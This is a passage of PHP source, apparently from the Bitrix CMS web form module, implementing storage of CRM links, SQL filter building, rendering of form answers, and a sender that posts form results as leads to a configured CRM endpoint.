(empty($arLeadFields[$arRes['CRM_FIELD']]) ? '' : ',').$value;
}
else
{
$arLeadFields[$arRes['CRM_FIELD']] = $value;
}
}
}
}
}
if (!$bFound && $arCrmFields[$arRes['CRM_FIELD']] && $arCrmFields[$arRes['CRM_FIELD']]['TYPE'] == 'boolean')
{
$arLeadFields[$arRes['CRM_FIELD']] = 'N';
}
}
elseif (strlen($arRes['FIELD_ALT']) > 0)
{
switch($arRes['FIELD_ALT'])
{
case 'RESULT_ID':
$arLeadFields[$arRes['CRM_FIELD']] = $arResultFields['ID'];
break;
case 'FORM_SID':
$arLeadFields[$arRes['CRM_FIELD']] = $arResultFields['SID'];
break;
case 'FORM_NAME':
$arLeadFields[$arRes['CRM_FIELD']] = $arResultFields['NAME'];
break;
case 'SITE_ID':
$arLeadFields[$arRes['CRM_FIELD']] = SITE_ID;
break;
case 'FORM_ALL':
$arLeadFields[$arRes['CRM_FIELD']] = self::_getAllFormFields($FORM_ID, $RESULT_ID, $arAnswers);
break;
case 'FORM_ALL_HTML':
$arLeadFields[$arRes['CRM_FIELD']] = self::_getAllFormFieldsHTML($FORM_ID, $RESULT_ID, $arAnswers);
break;
}
}
}
$result = $ob->AddLead($arLeadFields);
if ($result->code() != 201)
{
$GLOBALS['APPLICATION']->ThrowException($result->error(), $result->code());
return false;
}
else
{
CFormResult::SetCRMFlag($RESULT_ID, 'Y');
return $result->field('ID');
}
}
public static function Add($arFields)
{
global $DB;
$e = GetModuleEvents('form', 'OnBeforeFormCrmAdd');
while ($a = $e->Fetch())
{
if (false === ExecuteModuleEventEx($a, array(&$arFields)))
return false;
}
if (!self::CheckFields('ADD', $arFields))
return false;
$ID = $DB->Add('b_form_crm', $arFields);
if ($ID > 0)
{
$arFields['ID'] = $ID;
/*
if (isset($arFields['USERS']))
{
self::SetUsers($ID, $arFields['USERS'], false);
}
if (isset($arFields['FILES']))
{
self::SetFiles($ID, $arFields['FILES']);
}
*/
$e = GetModuleEvents('form', 'OnAfterFormCrmAdd');
while ($a = $e->Fetch())
ExecuteModuleEventEx($a, array($arFields));
}
return $ID;
}
public static function Update($ID, $arFields)
{
global $DB;
if ($ID <= 0)
return false;
$arFields['ID'] = $ID;
$e = GetModuleEvents('form', 'OnBeforeFormCrmUpdate');
while ($a = $e->Fetch())
{
if (false === ExecuteModuleEventEx($a, array(&$arFields)))
{
return false;
}
}
if (!self::CheckFields('UPDATE', $arFields))
return false;
$strUpdate = $DB->PrepareUpdate('b_form_crm', $arFields);
$query = 'UPDATE b_form_crm SET '.$strUpdate.' WHERE ID=\''.intval($ID).'\'';
$dbRes = $DB->Query($query);
if ($dbRes)
{
/*
if (isset($arFields['USERS']))
{
self::SetUsers($ID, $arFields['USERS']);
}
if (isset($arFields['FILES']))
{
self::SetFiles($ID, $arFields['FILES']);
}
*/
$e = GetModuleEvents('form', 'OnAfterFormCrmUpdate');
while ($a = $e->Fetch())
ExecuteModuleEventEx($a, array($ID, $arFields));
return $ID;
}
return false;
}
public static function Delete($ID)
{
global $DB;
$ID = intval($ID);
if ($ID < 1)
return false;
$dbRes = CFormCrm::GetByID($ID);
$arCrm = $dbRes->Fetch();
if (is_array($arCrm))
{
$rsEvents = GetModuleEvents("form", "OnBeforeFormCrmDelete");
while ($arEvent = $rsEvents->Fetch())
{
if (false === ExecuteModuleEventEx($arEvent, array($ID, $arCrm)))
{
return false;
}
}
if ($DB->Query("DELETE FROM b_form_crm WHERE ID='".$ID."'"))
{
$rsEvents = GetModuleEvents("form", "OnAfterFormCrmDelete");
while ($arEvent = $rsEvents->Fetch())
ExecuteModuleEventEx($arEvent, array($ID));
return true;
}
}
return false;
}
protected static function _getAllFormFieldsHTML($WEB_FORM_ID, $RESULT_ID, $arAnswers)
{
global $APPLICATION;
$strResult = "";
$w = CFormField::GetList($WEB_FORM_ID, "ALL", $by, $order, array("ACTIVE" => "Y"), $is_filtered);
while ($wr=$w->Fetch())
{
$answer = "";
$answer_raw = '';
if (is_array($arAnswers[$wr["SID"]]))
{
$bHasDiffTypes = false;
$lastType = '';
foreach ($arAnswers[$wr['SID']] as $arrA)
{
if ($lastType == '') $lastType = $arrA['FIELD_TYPE'];
elseif ($arrA['FIELD_TYPE'] != $lastType)
{
$bHasDiffTypes = true;
break;
}
}
foreach($arAnswers[$wr["SID"]] as $arrA)
{
if ($wr['ADDITIONAL'] == 'Y')
{
$arrA['FIELD_TYPE'] = $wr['FIELD_TYPE'];
}
$USER_TEXT_EXIST = (strlen(trim($arrA["USER_TEXT"]))>0);
$ANSWER_TEXT_EXIST = (strlen(trim($arrA["ANSWER_TEXT"]))>0);
$ANSWER_VALUE_EXIST = (strlen(trim($arrA["ANSWER_VALUE"]))>0);
$USER_FILE_EXIST = (intval($arrA["USER_FILE_ID"])>0);
if (
$bHasDiffTypes
&&
!$USER_TEXT_EXIST
&&
(
$arrA['FIELD_TYPE'] == 'text'
||
$arrA['FIELD_TYPE'] == 'textarea'
)
)
continue;
if (strlen(trim($answer))>0) $answer .= "<br />";
if (strlen(trim($answer_raw))>0) $answer_raw .= ",";
if ($ANSWER_TEXT_EXIST)
$answer .= $arrA["ANSWER_TEXT"].': ';
switch ($arrA['FIELD_TYPE'])
{
case 'text':
case 'textarea':
case 'hidden':
case 'date':
case 'password':
if ($USER_TEXT_EXIST)
{
$answer .= htmlspecialcharsbx(trim($arrA["USER_TEXT"]));
$answer_raw .= htmlspecialcharsbx(trim($arrA["USER_TEXT"]));
}
break;
case 'email':
case 'url':
if ($USER_TEXT_EXIST)
{
$answer .= '<a href="'.($arrA['FIELD_TYPE'] == 'email' ? 'mailto:' : '').trim($arrA["USER_TEXT"]).'">'.htmlspecialcharsbx(trim($arrA["USER_TEXT"])).'</a>';
$answer_raw .= htmlspecialcharsbx(trim($arrA["USER_TEXT"]));
}
break;
case 'checkbox':
case 'multiselect':
case 'radio':
case 'dropdown':
if ($ANSWER_TEXT_EXIST)
{
$answer = htmlspecialcharsbx(substr($answer, 0, -2).' ');
$answer_raw .= htmlspecialcharsbx($arrA['ANSWER_TEXT']);
}
if ($ANSWER_VALUE_EXIST)
{
$answer .= '('.htmlspecialcharsbx($arrA['ANSWER_VALUE']).') ';
if (!$ANSWER_TEXT_EXIST)
$answer_raw .= htmlspecialcharsbx($arrA['ANSWER_VALUE']);
}
if (!$ANSWER_VALUE_EXIST && !$ANSWER_TEXT_EXIST)
$answer_raw .= $arrA['ANSWER_ID'];
$answer .= '['.$arrA['ANSWER_ID'].']';
break;
case 'file':
case 'image':
if ($USER_FILE_EXIST)
{
$f = CFile::GetByID($arrA["USER_FILE_ID"]);
if ($fr = $f->Fetch())
{
$file_size = CFile::FormatSize($fr["FILE_SIZE"]);
$url = ($APPLICATION->IsHTTPS() ? "https://" : "http://").$_SERVER["HTTP_HOST"]. "/bitrix/tools/form_show_file.php?rid=".$RESULT_ID. "&hash=".$arrA["USER_FILE_HASH"]."&lang=".LANGUAGE_ID;
if ($arrA["USER_FILE_IS_IMAGE"]=="Y")
{
$answer .= "<a href=\"$url\">".htmlspecialcharsbx($arrA["USER_FILE_NAME"])."</a> [".$fr["WIDTH"]." x ".$fr["HEIGHT"]."] (".$file_size.")";
}
else
{
$answer .= "<a href=\"$url&action=download\">".htmlspecialcharsbx($arrA["USER_FILE_NAME"])."</a> (".$file_size.")";
}
$answer_raw .= htmlspecialcharsbx($arrA['USER_FILE_NAME']);
}
}
break;
}
}
}
$strResult .= $wr["TITLE"].":<br />".(strlen($answer)<=0 ? " " : $answer)."<br /><br />";
}
return $strResult;
}
protected static function _getAllFormFields($WEB_FORM_ID, $RESULT_ID, $arAnswers)
{
global $APPLICATION;
$strResult = "";
$w = CFormField::GetList($WEB_FORM_ID, "ALL", $by, $order, array("ACTIVE" => "Y"), $is_filtered);
while ($wr=$w->Fetch())
{
$answer = "";
$answer_raw = '';
if (is_array($arAnswers[$wr["SID"]]))
{
$bHasDiffTypes = false;
$lastType = '';
foreach ($arAnswers[$wr['SID']] as $arrA)
{
if ($lastType == '') $lastType = $arrA['FIELD_TYPE'];
elseif ($arrA['FIELD_TYPE'] != $lastType)
{
$bHasDiffTypes = true;
break;
}
}
foreach($arAnswers[$wr["SID"]] as $arrA)
{
if ($wr['ADDITIONAL'] == 'Y')
{
$arrA['FIELD_TYPE'] = $wr['FIELD_TYPE'];
}
$USER_TEXT_EXIST = (strlen(trim($arrA["USER_TEXT"]))>0);
$ANSWER_TEXT_EXIST = (strlen(trim($arrA["ANSWER_TEXT"]))>0);
$ANSWER_VALUE_EXIST = (strlen(trim($arrA["ANSWER_VALUE"]))>0);
$USER_FILE_EXIST = (intval($arrA["USER_FILE_ID"])>0);
if (
$bHasDiffTypes
&& !$USER_TEXT_EXIST
&& (
$arrA['FIELD_TYPE'] == 'text'
||
$arrA['FIELD_TYPE'] == 'textarea'
)
)
{
continue;
}
if (strlen(trim($answer)) > 0)
$answer .= "\n";
if (strlen(trim($answer_raw)) > 0)
$answer_raw .= ",";
if ($ANSWER_TEXT_EXIST)
$answer .= $arrA["ANSWER_TEXT"].': ';
switch ($arrA['FIELD_TYPE'])
{
case 'text':
case 'textarea':
case 'email':
case 'url':
case 'hidden':
case 'date':
case 'password':
if ($USER_TEXT_EXIST)
{
$answer .= trim($arrA["USER_TEXT"]);
$answer_raw .= trim($arrA["USER_TEXT"]);
}
break;
case 'checkbox':
case 'multiselect':
case 'radio':
case 'dropdown':
if ($ANSWER_TEXT_EXIST)
{
$answer = substr($answer, 0, -2).' ';
$answer_raw .= $arrA['ANSWER_TEXT'];
}
if ($ANSWER_VALUE_EXIST)
{
$answer .= '('.$arrA['ANSWER_VALUE'].') ';
if (!$ANSWER_TEXT_EXIST)
{
$answer_raw .= $arrA['ANSWER_VALUE'];
}
}
if (!$ANSWER_VALUE_EXIST && !$ANSWER_TEXT_EXIST)
{
$answer_raw .= $arrA['ANSWER_ID'];
}
$answer .= '['.$arrA['ANSWER_ID'].']';
break;
case 'file':
case 'image':
if ($USER_FILE_EXIST)
{
$f = CFile::GetByID($arrA["USER_FILE_ID"]);
if ($fr = $f->Fetch())
{
$file_size = CFile::FormatSize($fr["FILE_SIZE"]);
$url = ($APPLICATION->IsHTTPS() ? "https://" : "http://").$_SERVER["HTTP_HOST"]. "/bitrix/tools/form_show_file.php?rid=".$RESULT_ID. "&hash=".$arrA["USER_FILE_HASH"]."&action=download&lang=".LANGUAGE_ID;
if ($arrA["USER_FILE_IS_IMAGE"]=="Y")
{
$answer .= $arrA["USER_FILE_NAME"]." [".$fr["WIDTH"]." x ".$fr["HEIGHT"]."] (".$file_size.")\n".$url;
}
else
{
$answer .= $arrA["USER_FILE_NAME"]." (".$file_size.")\n".$url."&action=download";
}
}
$answer_raw .= $arrA['USER_FILE_NAME'];
}
break;
}
}
}
$strResult .= $wr["TITLE"].":\r\n".(strlen($answer)<=0 ? " " : $answer)."\r\n\r\n";
}
return $strResult;
}
protected static function CheckFields($action, &$arFields)
{
if (isset($arFields['ID']))
unset($arFields['ID']);
if ($action == 'ADD' || isset($arFields['NAME']))
$arFields['NAME'] = trim($arFields['NAME']);
if ($action == 'ADD' || isset($arFields['URL']))
$arFields['URL'] = trim($arFields['URL']);
if ($action == 'ADD' || isset($arFields['AUTH_HASH']))
$arFields['AUTH_HASH'] = trim($arFields['AUTH_HASH']);
return true;
}
protected static function GetFilterOperation($key)
{
$strNegative = "N";
if (substr($key, 0, 1)=="!")
{
$key = substr($key, 1);
$strNegative = "Y";
}
$strOrNull = "N";
if (substr($key, 0, 1)=="+")
{
$key = substr($key, 1);
$strOrNull = "Y";
}
if (substr($key, 0, 2)==">=")
{
$key = substr($key, 2);
$strOperation = ">=";
}
elseif (substr($key, 0, 1)==">")
{
$key = substr($key, 1);
$strOperation = ">";
}
elseif (substr($key, 0, 2)=="<=")
{
$key = substr($key, 2);
$strOperation = "<=";
}
elseif (substr($key, 0, 1)=="<")
{
$key = substr($key, 1);
$strOperation = "<";
}
elseif (substr($key, 0, 1)=="@")
{
$key = substr($key, 1);
$strOperation = "IN";
}
elseif (substr($key, 0, 1)=="~")
{
$key = substr($key, 1);
$strOperation = "LIKE";
}
elseif (substr($key, 0, 1)=="%")
{
$key = substr($key, 1);
$strOperation = "QUERY";
}
else
{
$strOperation = "=";
}
return array("FIELD" => $key, "NEGATIVE" => $strNegative, "OPERATION" => $strOperation, "OR_NULL" => $strOrNull);
}
protected static function PrepareSql(&$arFields, $arOrder, &$arFilter, $arGroupBy, $arSelectFields)
{
global $DB;
$strSqlSelect = "";
$strSqlFrom = "";
$strSqlWhere = "";
$strSqlGroupBy = "";
$strSqlOrderBy = "";
$arGroupByFunct = array("COUNT", "AVG", "MIN", "MAX", "SUM");
$arAlreadyJoined = array();
// GROUP BY -->
if (is_array($arGroupBy) && count($arGroupBy)>0)
{
$arSelectFields = $arGroupBy;
foreach ($arGroupBy as $key => $val)
{
$val = strtoupper($val);
$key = strtoupper($key);
if (array_key_exists($val, $arFields) && !in_array($key, $arGroupByFunct))
{
if (strlen($strSqlGroupBy) > 0)
$strSqlGroupBy .= ", ";
$strSqlGroupBy .= $arFields[$val]["FIELD"];
if (isset($arFields[$val]["FROM"])
&& strlen($arFields[$val]["FROM"]) > 0
&& !in_array($arFields[$val]["FROM"], $arAlreadyJoined))
{
if (strlen($strSqlFrom) > 0)
$strSqlFrom .= " ";
$strSqlFrom .= $arFields[$val]["FROM"];
$arAlreadyJoined[] = $arFields[$val]["FROM"];
}
}
}
}
// <-- GROUP BY
// SELECT -->
$arFieldsKeys = array_keys($arFields);
if (is_array($arGroupBy) && count($arGroupBy)==0)
{
$strSqlSelect = "COUNT(%%_DISTINCT_%% ".$arFields[$arFieldsKeys[0]]["FIELD"].") as CNT ";
}
else
{
if (isset($arSelectFields) && !is_array($arSelectFields) && is_string($arSelectFields) && strlen($arSelectFields)>0 && array_key_exists($arSelectFields, $arFields))
$arSelectFields = array($arSelectFields);
if (!isset($arSelectFields)
|| !is_array($arSelectFields)
|| count($arSelectFields)<=0
|| in_array("*", $arSelectFields))
{
$cntFieldsKeys = count($arFieldsKeys);
for ($i = 0; $i < $cntFieldsKeys; $i++)
{
if (isset($arFields[$arFieldsKeys[$i]]["WHERE_ONLY"])
&& $arFields[$arFieldsKeys[$i]]["WHERE_ONLY"] == "Y")
{
continue;
}
if (strlen($strSqlSelect) > 0)
$strSqlSelect .= ", ";
if ($arFields[$arFieldsKeys[$i]]["TYPE"] == "datetime")
{
if ((strtoupper($DB->type)=="ORACLE" || strtoupper($DB->type)=="MSSQL") && (array_key_exists($arFieldsKeys[$i], $arOrder)))
$strSqlSelect .= $arFields[$arFieldsKeys[$i]]["FIELD"]." as ".$arFieldsKeys[$i]."_X1, ";
$strSqlSelect .= $DB->DateToCharFunction($arFields[$arFieldsKeys[$i]]["FIELD"], "FULL")." as ".$arFieldsKeys[$i];
}
elseif ($arFields[$arFieldsKeys[$i]]["TYPE"] == "date")
{
if ((strtoupper($DB->type)=="ORACLE" || strtoupper($DB->type)=="MSSQL") && (array_key_exists($arFieldsKeys[$i], $arOrder)))
$strSqlSelect .= $arFields[$arFieldsKeys[$i]]["FIELD"]." as ".$arFieldsKeys[$i]."_X1, ";
$strSqlSelect .= $DB->DateToCharFunction($arFields[$arFieldsKeys[$i]]["FIELD"], "SHORT")." as ".$arFieldsKeys[$i];
}
else
$strSqlSelect .= $arFields[$arFieldsKeys[$i]]["FIELD"]." as ".$arFieldsKeys[$i];
if (isset($arFields[$arFieldsKeys[$i]]["FROM"])
&& strlen($arFields[$arFieldsKeys[$i]]["FROM"]) > 0
&& !in_array($arFields[$arFieldsKeys[$i]]["FROM"], $arAlreadyJoined))
{
if (strlen($strSqlFrom) > 0)
$strSqlFrom .= " ";
$strSqlFrom .= $arFields[$arFieldsKeys[$i]]["FROM"];
$arAlreadyJoined[] = $arFields[$arFieldsKeys[$i]]["FROM"];
}
}
}
else
{
foreach ($arSelectFields as $key => $val)
{
$val = strtoupper($val);
$key = strtoupper($key);
if (array_key_exists($val, $arFields))
{
if (strlen($strSqlSelect) > 0)
$strSqlSelect .= ", ";
if (in_array($key, $arGroupByFunct))
{
$strSqlSelect .= $key."(".$arFields[$val]["FIELD"].") as ".$val;
}
else
{
if ($arFields[$val]["TYPE"] == "datetime")
{
if ((strtoupper($DB->type)=="ORACLE" || strtoupper($DB->type)=="MSSQL") && (array_key_exists($val, $arOrder)))
$strSqlSelect .= $arFields[$val]["FIELD"]." as ".$val."_X1, ";
$strSqlSelect .= $DB->DateToCharFunction($arFields[$val]["FIELD"], "FULL")." as ".$val;
}
elseif ($arFields[$val]["TYPE"] == "date")
{
if ((strtoupper($DB->type)=="ORACLE" || strtoupper($DB->type)=="MSSQL") && (array_key_exists($val, $arOrder)))
$strSqlSelect .= $arFields[$val]["FIELD"]." as ".$val."_X1, ";
$strSqlSelect .= $DB->DateToCharFunction($arFields[$val]["FIELD"], "SHORT")." as ".$val;
}
else
$strSqlSelect .= $arFields[$val]["FIELD"]." as ".$val;
}
if (isset($arFields[$val]["FROM"])
&& strlen($arFields[$val]["FROM"]) > 0
&& !in_array($arFields[$val]["FROM"], $arAlreadyJoined))
{
if (strlen($strSqlFrom) > 0)
$strSqlFrom .= " ";
$strSqlFrom .= $arFields[$val]["FROM"];
$arAlreadyJoined[] = $arFields[$val]["FROM"];
}
}
}
}
if (strlen($strSqlGroupBy) > 0)
{
if (strlen($strSqlSelect) > 0)
$strSqlSelect .= ", ";
$strSqlSelect .= "COUNT(%%_DISTINCT_%% ".$arFields[$arFieldsKeys[0]]["FIELD"].") as CNT";
}
else
$strSqlSelect = "%%_DISTINCT_%% ".$strSqlSelect;
}
// <-- SELECT
// WHERE -->
$arSqlSearch = array();
if (!is_array($arFilter))
$filter_keys = array();
else
$filter_keys = array_keys($arFilter);
$cntFilterKeys = count($filter_keys);
for ($i = 0; $i < $cntFilterKeys; $i++)
{
$vals = $arFilter[$filter_keys[$i]];
if (!is_array($vals))
$vals = array($vals);
else
$vals = array_values($vals);
$key = $filter_keys[$i];
$key_res = self::GetFilterOperation($key);
$key = $key_res["FIELD"];
$strNegative = $key_res["NEGATIVE"];
$strOperation = $key_res["OPERATION"];
$strOrNull = $key_res["OR_NULL"];
if (array_key_exists($key, $arFields))
{
$arSqlSearch_tmp = array();
$cntVals = count($vals);
for ($j = 0; $j < $cntVals; $j++)
{
$val = $vals[$j];
if (isset($arFields[$key]["WHERE"]))
{
$arSqlSearch_tmp1 = call_user_func_array(
$arFields[$key]["WHERE"],
array($val, $key, $strOperation, $strNegative, $arFields[$key]["FIELD"], $arFields, $arFilter)
);
if ($arSqlSearch_tmp1 !== false)
$arSqlSearch_tmp[] = $arSqlSearch_tmp1;
}
else
{
if ($arFields[$key]["TYPE"] == "int")
{
if ((IntVal($val) == 0) && (strpos($strOperation, "=") !== False))
$arSqlSearch_tmp[] = "(".$arFields[$key]["FIELD"]." IS ".(($strNegative == "Y") ? "NOT " : "")."NULL) ".(($strNegative == "Y") ? "AND" : "OR")." ".(($strNegative == "Y") ? "NOT " : "")."(".$arFields[$key]["FIELD"]." ".$strOperation." 0)";
else
$arSqlSearch_tmp[] = (($strNegative == "Y") ? " ".$arFields[$key]["FIELD"]." IS NULL OR NOT " : "")."(".$arFields[$key]["FIELD"]." ".$strOperation." ".IntVal($val)." )";
}
elseif ($arFields[$key]["TYPE"] == "double")
{
$val = str_replace(",", ".", $val);
if ((DoubleVal($val) == 0) && (strpos($strOperation, "=") !== False))
$arSqlSearch_tmp[] = "(".$arFields[$key]["FIELD"]." IS ".(($strNegative == "Y") ? "NOT " : "")."NULL) ".(($strNegative == "Y") ? "AND" : "OR")." ".(($strNegative == "Y") ? "NOT " : "")."(".$arFields[$key]["FIELD"]." ".$strOperation." 0)";
else
$arSqlSearch_tmp[] = (($strNegative == "Y") ? " ".$arFields[$key]["FIELD"]." IS NULL OR NOT " : "")."(".$arFields[$key]["FIELD"]." ".$strOperation." ".DoubleVal($val)." )";
}
elseif ($arFields[$key]["TYPE"] == "string" || $arFields[$key]["TYPE"] == "char")
{
if ($strOperation == "QUERY")
{
$arSqlSearch_tmp[] = GetFilterQuery($arFields[$key]["FIELD"], $val, "Y");
}
else
{
if ((strlen($val) == 0) && (strpos($strOperation, "=") !== False))
$arSqlSearch_tmp[] = "(".$arFields[$key]["FIELD"]." IS ".(($strNegative == "Y") ? "NOT " : "")."NULL) ".(($strNegative == "Y") ? "AND NOT" : "OR")." (".$DB->Length($arFields[$key]["FIELD"])." <= 0) ".(($strNegative == "Y") ? "AND NOT" : "OR")." (".$arFields[$key]["FIELD"]." ".$strOperation." '".$DB->ForSql($val)."' )";
else
$arSqlSearch_tmp[] = (($strNegative == "Y") ? " ".$arFields[$key]["FIELD"]." IS NULL OR NOT " : "")."(".$arFields[$key]["FIELD"]." ".$strOperation." '".$DB->ForSql($val)."' )";
}
}
elseif ($arFields[$key]["TYPE"] == "datetime")
{
if (strlen($val) <= 0)
$arSqlSearch_tmp[] = ($strNegative=="Y"?"NOT":"")."(".$arFields[$key]["FIELD"]." IS NULL)";
else
$arSqlSearch_tmp[] = ($strNegative=="Y"?" ".$arFields[$key]["FIELD"]." IS NULL OR NOT ":"")."(".$arFields[$key]["FIELD"]." ".$strOperation." ".$DB->CharToDateFunction($DB->ForSql($val), "FULL").")";
}
elseif ($arFields[$key]["TYPE"] == "date")
{
if (strlen($val) <= 0)
$arSqlSearch_tmp[] = ($strNegative=="Y"?"NOT":"")."(".$arFields[$key]["FIELD"]." IS NULL)";
else
$arSqlSearch_tmp[] = ($strNegative=="Y"?" ".$arFields[$key]["FIELD"]." IS NULL OR NOT ":"")."(".$arFields[$key]["FIELD"]." ".$strOperation." ".$DB->CharToDateFunction($DB->ForSql($val), "SHORT").")";
}
}
}
if (isset($arFields[$key]["FROM"])
&& strlen($arFields[$key]["FROM"]) > 0
&& !in_array($arFields[$key]["FROM"], $arAlreadyJoined))
{
if (strlen($strSqlFrom) > 0)
$strSqlFrom .= " ";
$strSqlFrom .= $arFields[$key]["FROM"];
$arAlreadyJoined[] = $arFields[$key]["FROM"];
}
$strSqlSearch_tmp = "";
$cntSqlSearch_tmp = count($arSqlSearch_tmp);
for ($j = 0; $j < $cntSqlSearch_tmp; $j++)
{
if ($j > 0)
$strSqlSearch_tmp .= ($strNegative=="Y" ? " AND " : " OR ");
$strSqlSearch_tmp .= "(".$arSqlSearch_tmp[$j].")";
}
if ($strOrNull == "Y")
{
if (strlen($strSqlSearch_tmp) > 0)
$strSqlSearch_tmp .= ($strNegative=="Y" ? " AND " : " OR ");
$strSqlSearch_tmp .= "(".$arFields[$key]["FIELD"]." IS ".($strNegative=="Y" ? "NOT " : "")."NULL)";
if (strlen($strSqlSearch_tmp) > 0)
$strSqlSearch_tmp .= ($strNegative=="Y" ? " AND " : " OR ");
if ($arFields[$key]["TYPE"] == "int" || $arFields[$key]["TYPE"] == "double")
$strSqlSearch_tmp .= "(".$arFields[$key]["FIELD"]." ".($strNegative=="Y" ? "<>" : "=")." 0)";
elseif ($arFields[$key]["TYPE"] == "string" || $arFields[$key]["TYPE"] == "char")
$strSqlSearch_tmp .= "(".$arFields[$key]["FIELD"]." ".($strNegative=="Y" ? "<>" : "=")." '')";
else
$strSqlSearch_tmp .= ($strNegative=="Y" ? " (1=1) " : " (1=0) ");
}
if ($strSqlSearch_tmp != "")
$arSqlSearch[] = "(".$strSqlSearch_tmp.")";
}
}
$cntSqlSearch = count($arSqlSearch);
for ($i = 0; $i < $cntSqlSearch; $i++)
{
if (strlen($strSqlWhere) > 0)
$strSqlWhere .= " AND ";
$strSqlWhere .= "(".$arSqlSearch[$i].")";
}
// <-- WHERE
// ORDER BY -->
$arSqlOrder = Array();
foreach ($arOrder as $by => $order)
{
$by = strtoupper($by);
$order = strtoupper($order);
if ($order != "ASC")
$order = "DESC";
else
$order = "ASC";
if (array_key_exists($by, $arFields))
{
$arSqlOrder[] = " ".$arFields[$by]["FIELD"]." ".$order." ";
if (isset($arFields[$by]["FROM"])
&& strlen($arFields[$by]["FROM"]) > 0
&& !in_array($arFields[$by]["FROM"], $arAlreadyJoined))
{
if (strlen($strSqlFrom) > 0)
$strSqlFrom .= " ";
$strSqlFrom .= $arFields[$by]["FROM"];
$arAlreadyJoined[] = $arFields[$by]["FROM"];
}
}
}
DelDuplicateSort($arSqlOrder);
$cntSqlOrder = count($arSqlOrder);
for ($i=0; $i<$cntSqlOrder; $i++)
{
if (strlen($strSqlOrderBy) > 0)
$strSqlOrderBy .= ", ";
if(strtoupper($DB->type)=="ORACLE")
{
if(substr($arSqlOrder[$i], -3)=="ASC")
$strSqlOrderBy .= $arSqlOrder[$i]." NULLS FIRST";
else
$strSqlOrderBy .= $arSqlOrder[$i]." NULLS LAST";
}
else
$strSqlOrderBy .= $arSqlOrder[$i];
}
// <-- ORDER BY
return array(
"SELECT" => $strSqlSelect,
"FROM" => $strSqlFrom,
"WHERE" => $strSqlWhere,
"GROUPBY" => $strSqlGroupBy,
"ORDERBY" => $strSqlOrderBy
);
}
}
class CFormCrmSender
{
const FIELDS_CACHE_TTL = 2592000;
private $ID;
private $arLink;
private $arCRMFields;
private $arAuth;
private $authHash;
private $lastResult = null;
public function __construct($ID, $arAuth = null)
{
$this->ID = intval($ID);
if ($this->ID > 0)
{
$dbRes = CFormCrm::GetByID($this->ID);
$this->arLink = $dbRes->Fetch();
}
if (is_array($arAuth))
{
$this->arAuth = array('LOGIN' => $arAuth['LOGIN'], 'PASSWORD' => $arAuth['PASSWORD']);
}
}
public function AddLead($arLeadFields)
{
return $this->_query('lead.add', $arLeadFields);
}
public function GetFields($bReload = false)
{
global $CACHE_MANAGER;
if (!$this->arLink)
return false;
if ($bReload)
{
$CACHE_MANAGER->Clean($this->_cacheId(), 'form_crm_data');
$this->arCRMFields = null;
}
if (!$this->arCRMFields)
{
if ($CACHE_MANAGER->Read(self::FIELDS_CACHE_TTL, $this->_cacheId(), 'form_crm_data') && !$bReload)
{
$this->arCRMFields = $CACHE_MANAGER->Get($this->_cacheId());
}
else
{
$result = $this->_query('lead.get_fields');
if ($result !== false)
{
$data = $result->data();
$this->arCRMFields = $data['FIELDS'];
$CACHE_MANAGER->Set($this->_cacheId(), $this->arCRMFields);
}
else
{
return false;
}
}
}
return $this->arCRMFields;
}
public function GetAuthHash()
{
return $this->authHash;
}
public function GetLastResult()
{
return $this->lastResult;
}
private function _setAuthHash($hash)
{
if (strlen($hash) > 0)
{
$this->authHash = $hash;
CFormCrm::Update($this->ID, array('AUTH_HASH' => $hash));
}
}
private function _cacheId()
{
if ($this->CACHE_ID)
return $this->CACHE_ID;
else
return ($this->CACHE_ID = 'FORM_CRM_'.$this->ID);
}
private function _query($method, $params = array())
{
global $APPLICATION;
if ($this->arLink)
{
if (!$method)
$method = 'lead.add';
$arPostFields = array(
'method' => $method
);
if ($this->arAuth)
{
$arPostFields['LOGIN'] = $this->arAuth['LOGIN'];
$arPostFields['PASSWORD'] = $this->arAuth['PASSWORD'];
}
else
{
$arPostFields['AUTH'] = $this->arLink['AUTH_HASH'];
}
$arPostFields = array_merge($params, $arPostFields);
$arPostFields = $APPLICATION->ConvertCharsetArray($arPostFields, LANG_CHARSET, 'UTF-8');
$obHTTP = new CHTTP();
$result_text = $obHTTP->Post($this->arLink['URL'], $arPostFields);
$version_header = $obHTTP->headers['X-CRM-Version'];
if (strlen($version_header) <= 0 || version_compare($version_header, "11.5.0") < 0)
{
$result_text = '{"error":"500","error_message":"'.GetMessage('FORM_CRM_VERSION_FAILURE').'"}';
}
else
{
$result_text = $APPLICATION->ConvertCharset($result_text, 'UTF-8', LANG_CHARSET);
}
$this->lastResult = new _CFormCrmSenderResult($result_text);
if ($this->lastResult->field('AUTH'))
{
$this->_setAuthHash($this->lastResult->field('AUTH'));
}
return $this->lastResult;
}
return false;
}
}
class _CFormCrmSenderResult
{
private $bProcess = false;
private $result_text;
private $result;
private $result_code;
private $result_error;
public function __construct($result_text)
{
$this->result_text = trim($result_text);
}
public function code()
{
$this->_process();
return $this->result_code;
}
public function data()
{
$this->_process();
return $this->result;
}
public function error()
{
$this->_process();
return $this->result_error;
}
public function field($field)
{
$this->_process();
return $this->result[$field];
}
private function _process()
{
if (!$this->bProcess)
{
if (strlen($this->result_text) > 0)
{
$this->result = CUtil::JsObjectToPhp($this->result_text);
if (!is_array($this->result))
{
$this->result = null;
}
else
{
$this->result_code = intval($this->result['error']);
if ($this->result_code >= 400)
{
$this->result_error = $this->result['error_message'];
}
}
}
$this->bProcess = true;
}
}
}
?>